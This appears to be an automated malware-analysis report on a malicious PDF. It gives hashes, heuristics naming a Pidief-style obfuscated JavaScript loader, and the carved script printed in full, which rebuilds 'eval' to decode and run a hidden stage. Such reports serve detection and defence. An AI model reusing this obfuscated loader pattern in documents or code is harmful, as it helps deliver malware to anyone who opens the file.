Malicious PDF — malware analysis report

Static analysis result for SHA-256 e39817802759409d…

MALICIOUS

PDF

44.8 KB Authoring application: substr First seen: 2012-12-05
MD5: 36239940df738f23854b5b3214fa993a SHA-1: 1a8816359fd652e094fcd0199018c64e4bd0f698 SHA-256: e39817802759409d0f1b99467b377e4ba8b6e15d7136fab541517129fbaea9c4
86 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File Execution: Malicious JavaScript

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a JavaScript object. The ML classifier strongly suggests malicious intent. The JavaScript is likely designed to execute malicious code or download a second-stage payload, although the specific actions are not detailed in the provided evidence. The document body text is generic and does not provide further clues.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB0C2 417 bytes
SHA-256: 77f207921ab60f4c5635103ae34fb1361b75807da65a88b5b65afadcf045bae4
Preview script
First 1,000 lines of the extracted script
pnhlt='';
v=producer;
qwe = v[v];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
s=a[0]+b+a[1]+'l';
e=(t,qwe)()[s];
kzkf=e('ti'+'tle');
s=kzkf.substr(t.length + 8,3)+'str';
q=kzkf[s](1,t.length + 7);
bwuam=e(v[0].toUpperCase()+'tring.fro'+q);
q=kzkf[s](t.length+12)[subject]('c');
k=q.length;
for (i = 0; i != k; i+=2) {
	ebz = parseInt(q[i]) + parseInt(q[i+1]);
	pnhlt += bwuam(ebz);
}
e(pnhlt);

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